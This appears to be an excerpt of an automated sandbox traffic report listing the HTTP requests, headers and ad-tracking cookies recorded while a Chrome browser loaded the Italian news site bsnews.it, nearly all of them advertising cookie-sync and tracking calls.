Source: global traffic	HTTP traffic detected: GET /cm?pv=dbm&sid=1011&rt=img&rnd=436232701635&google_gid=CAESEFUiyoSAJM68NzMb8_TKqbY&google_cver=1 HTTP/1.1Host: tracker.neodatagroup.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cProfile=AQMdCINwxgW/AAAAAAAEAAABjpjbKGMAB2RlZmF1bHQ=; cP=AT8DHQiDcMYFvwAAAAABs0lT; tr=loCAwICAwA==; cOptout=0\|yocToken:7AdUuQDnS44iVs6ZYu1ohLMYeJE
Source: global traffic	HTTP traffic detected: GET /api/v1/sync/311012f7-94f1-418c-abe0-3336ba01758e/web?callback=__jp0 HTTP/1.1Host: onesignal.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.os.tc/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=E_OE2G9R9S7M_PyIZbBan1JVSTzVmVAalc8Y80VYqy8-1711615862-1.0.1.1-XxXxue0M8IAfuodc7c7fUGhRFS7.KAzpGmuy3Fl8LZDDTdyMkuLf9p9U0GraQGlZRoBHZKO29jn7b2rlSSuk6A
Source: global traffic	HTTP traffic detected: GET /syncnoad?rid=30f2e100c3804685b89bc432e7fc41cf&p=activeagent%2Clogicad%2Cgoogle%2Cdemandbase%2Cportodsp%2Cconversant%2CTubeMogul-GP%2C1%2Cdataxu%2Ctremornet%2CVideology%2Cthetradedesk%2Cappnexus%2Ccentro%2CBidswitch%2Cstackadapt%2Cscaleout%2Cdynadmic%2Cmediamath%2CBidTheatre%2Cbeeswax%2CTapAd%2Cadgear%2CPulsepoint%2Cbrightroll%2Cbeachfront%2Cindexexchange%2CRadiumOne%2Cbucksense%2Cadform%2Cblis%2Cmadhive%2Cemx%2Cexponential%2Cadelphic%2Cadtheorent%2Csimpli.fi%2Cquantcast%2C4Info%2Cdeepintent%2Cadvangelists%2Cmartinai%2Cacuityads%2C_google_dfp%2C_dmp_turbine%2C_dmp_krux%2C_dmp_adobe%2C_dmp_lotame&uid=5c99a009bd184d5ca3b7885003b720e3&vv=3.0&gdpr=0&gdpr_consent=1 HTTP/1.1Host: partners.tremorhub.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://bsnews.itSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tvid=5c99a009bd184d5ca3b7885003b720e3; tvv=1; tvrg_61036=1,1711615884
Source: global traffic	HTTP traffic detected: GET /getuid?https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D98%26gdpr%3D0%26gdpr_consent%3D%26uid%3D$UID HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=FSn7X5NeciEMQOCcjHxXHqehzn-v4svBsj-gMw-pgwSgQCfMLVcv8zsZGedeIaeQHaHBYiGUTPoYHQhuiVJPrQfUeNdxFRZDxgmjjszNmB4.; icu=ChgIjq9kEAoYASABKAEwh9-UsAY4AUABSAEQh9-UsAYYAA..; receive-cookie-deprecation=1; uuid2=3287041831475129344
Source: global traffic	HTTP traffic detected: GET /cacheid HTTP/1.1Host: js.tncid.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://bsnews.itSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /6b634075-ddb2-44fb-ba9e-6183cd8a9dec/options.json HTTP/1.1Host: js.tncid.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://bsnews.itSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sg/zeotap/1/cm?env=mWeb&eventType=pageview&id_mid_4=5b95a3db-1a3a-4c5d-7bc4-805f128d851b&reqId=212c3ed0-3dd8-4750-606c-8892c7edded6&zdid=648&redirect=https%3A%2F%2Fmwzeom.zeotap.com%2Fmw%3Fcid%3D%3CTUID%3E%26zpartnerid%3D1367%26env%3DmWeb%26eventType%3Dpageview%26id_mid_4%3D5b95a3db-1a3a-4c5d-7bc4-805f128d851b%26reqId%3D212c3ed0-3dd8-4750-606c-8892c7edded6%26zdid%3D648 HTTP/1.1Host: trc.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://spl.zeotap.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ad/u?mode=echo&cr=https%3A%2F%2Fmwzeom.zeotap.com%2Fmw%3Fzpartnerid%3D1368%26env%3DmWeb%26cid%3D%23%7Buser.id%7D%26gdpr%3D%24%7BGDPR_ENFORCED%7D%26gdpr_consent%3D%24%7BGDPR_CONSENT%7D HTTP/1.1Host: dmp.v.fwmrm.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://spl.zeotap.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /AdServer/UCookieSetPug?gdpr=0&gdpr_consent=&rd=https%3A%2F%2Fmwzeom.zeotap.com%2Fmw%3Fzpartnerid%3D1384%26env%3DmWeb%26cid%3D%23PM_USER_ID%26env%3DmWeb%26eventType%3Dpageview%26id_mid_4%3D5b95a3db-1a3a-4c5d-7bc4-805f128d851b%26reqId%3D212c3ed0-3dd8-4750-606c-8892c7edded6%26zdid%3D648 HTTP/1.1Host: image6.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://spl.zeotap.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?ssp=onetag&ssp_user_id=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI&gdpr=0&gdpr_consent= HTTP/1.1Host: rtb.mfadsrvr.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /idsync/ex/push?partner_url=https%3A%2F%2Fmwzeom.zeotap.com%2Fmw%3Fcid%3D%24%7BTA_DEVICE_ID%7D%26zpartnerid%3D5%26env%3DmWeb%26eventType%3Dpageview%26id_mid_4%3D5b95a3db-1a3a-4c5d-7bc4-805f128d851b%26reqId%3D212c3ed0-3dd8-4750-606c-8892c7edded6%26zdid%3D648 HTTP/1.1Host: pixel.tapad.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://spl.zeotap.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pub/sync?pubid=pub10101531197440&gdpr=0&gdpr_consent= HTTP/1.1Host: t.adx.opera.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /beacon?informer=13426218 HTTP/1.1Host: ce.lijit.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ljt_reader=IZUTABZHDx9FBBjNRfKWNwm_
Source: global traffic	HTTP traffic detected: GET /73c1e1bfc3bde354d60b80e601ae3914.gif?puid=[UID]&redir=https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D164%26gdpr%3D0%26gdpr_consent%3D%26uid%3D%5BUID%5D&gdpr=${GDPR}&gdpr_consent=${GDPR_STRING}&ccpa=&coppa= HTTP/1.1Host: cs.admanmedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync/img?mt_exid=75&redir=https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D1%26uid%3D%5BMM_UUID%5D%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: sync.mathtag.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uuid=e37d6605-2f8b-4a00-8c65-7b6f95886a26
Source: global traffic	HTTP traffic detected: GET /usync/?pubId=7a07370227fc000&gdpr=0&gdpr_consent= HTTP/1.1Host: onetag-sys.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://visitor.omnitagjs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: OTP=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI
Source: global traffic	HTTP traffic detected: GET /AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=63678158&p=156136&s=0&a=0&ptask=ALL&np=0&fp=0&rp=0&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1Host: image6.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dcm?pid=78af914c-e755-4b90-bded-1b172aedc763&us_privacy=&gdpr=&gdpr_consent=&id=ZgUvi9HM46UAADq7ABhzMwAACsEAAAIB&gpp=&gpp_sid=&dcc=t HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A_Jw6tBbHE0JghtRXUp_d2g\|t
Source: global traffic	HTTP traffic detected: GET /s/31327?gdpr_consent=&bidder_id=14481&gpp=&bidder_uuid=ZgUvi9HM46UAADq7ABhzMwAA%262753&_li_chk=true&gpp_sid=&us_privacy=&gpdr=&previous_uuid=e1bfda393c7f4f7181831ce9a7296fe5 HTTP/1.1Host: i.liadm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: lidid=e1bfda39-3c7f-4f71-8183-1ce9a7296fe5
Source: global traffic	HTTP traffic detected: GET /dmp/pixelSync?cookieQ=1&nid=48 HTTP/1.1Host: pixel-sync.sitescout.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ssi=035fb342-304f-4e3b-b2b9-1e0903ffb19a#1711615889092
Source: global traffic	HTTP traffic detected: GET /sync/admanmedia?puid=9741359e-b2a2-4864-af08-41d769df6c9b&gdpr=[GDPR]&gdpr_consent=[GDPR_CONSENT]&ccpa=[CCPA]&coppa=0 HTTP/1.1Host: cs.admanmedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://sync.admanmedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: admtr=9741359e-b2a2-4864-af08-41d769df6c9b; admtr_red=undefined
Source: global traffic	HTTP traffic detected: GET /async_usersync?cbfn=queuePixels HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://acdn.adnxs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=FSn7X5NeciEMQOCcjHxXHqehzn-v4svBsj-gMw-pgwSgQCfMLVcv8zsZGedeIaeQHaHBYiGUTPoYHQhuiVJPrQfUeNdxFRZDxgmjjszNmB4.; icu=ChgIjq9kEAoYASABKAEwh9-UsAY4AUABSAEQh9-UsAYYAA..; receive-cookie-deprecation=1; uuid2=3287041831475129344
Source: global traffic	HTTP traffic detected: GET /pub/sync?pubid=pub10014056052800&gdpr=0&gdpr_consent= HTTP/1.1Host: t.adx.opera.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ce.lijit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: UID=OPU3668144d24c64241956e761ce5b3a0eb
Source: global traffic	HTTP traffic detected: GET /ul_cb/sync?ssp=onetag&ssp_user_id=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI&gdpr=0&gdpr_consent= HTTP/1.1Host: rtb.mfadsrvr.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tuuid=7d3b2b7e-cb07-4ad6-99b0-d621ad803f96; c=1711615890; tuuid_lu=1711615890
Source: global traffic	HTTP traffic detected: GET /gampad/ads?pvsid=1536995679409651&correlator=4021198300896108&eid=31079957%2C31081973%2C95327887%2C31078663%2C31078665%2C31078668%2C31078670&output=ldjh&gdfp_req=1&vrg=202403210101&ptt=17&impl=fifs&iu_parts=150134580%3A22663223301%2Cbsnews_dsk_intro&enc_prev_ius=%2F0%2F1&prev_iu_szs=1000x500%7C1x8&ifi=1&didk=2826984766&sfv=1-0-40&eri=1&sc=1&cookie_enabled=1&abxe=1&dt=1711615881767&lmt=1711560111&adxs=0&adys=13555&biw=1263&bih=907&scr_x=0&scr_y=0&btvi=1&ucis=1&oid=2&u_his=1&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_sd=1&u_tz=60&dmc=8&bc=31&nvt=1&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzIiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTMyIl0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzIiXV0sMF0.&url=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&vis=1&psz=1263x13576&msz=1000x-1&fws=512&ohw=0&ga_vid=30849489.1711615863&ga_sid=1711615882&ga_hid=1417903151&ga_fc=true&td=1&topics=9&tps=9&htps=10&nt=1&psd=WzE1LFtudWxsLFtbIi8xNTAxMzQ1ODAsMjI2NjMyMjMzMDEvYnNuZXdzX2Rza19pbnRybyIsW11dXV0sbnVsbCwzXQ..&dlt=1711615858499&idt=23182&prev_scp=refreshType%3Dinstant%26refreshCount%3D0&cust_params=consent%3Dyes&adks=3120347037&frm=20 HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUmShSMxYxGFdBdbQr33hUW57CkIIiyjPSwPpfzgsFihb9v58v_rNj8X6JwdIeU
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: geo.privacymanager.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usermatchredir?s=184023&gdpr_consent=&gdpr=&gpp=&gpp_sid=&google_gid=CAESEJsyHo98T7DEGuNMD17ZOLk&google_cver=1 HTTP/1.1Host: ssum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; CMID=ZgUvi9HM46UAADq7ABhzMwAA; CMPS=2753; CMPRO=2753
Source: global traffic	HTTP traffic detected: GET /dcm?pid=6e1b1225-4dd8-4d7d-b277-465574a27014&id=7518c174-5949-8965-a9a9-d483e82aed07&dcc=t HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://us-u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A_Jw6tBbHE0JghtRXUp_d2g\|t
Source: global traffic	HTTP traffic detected: GET /x/ae12848777b41970a5f2?gdpr=0&gdpr_consent= HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ce.lijit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A_Jw6tBbHE0JghtRXUp_d2g\|t
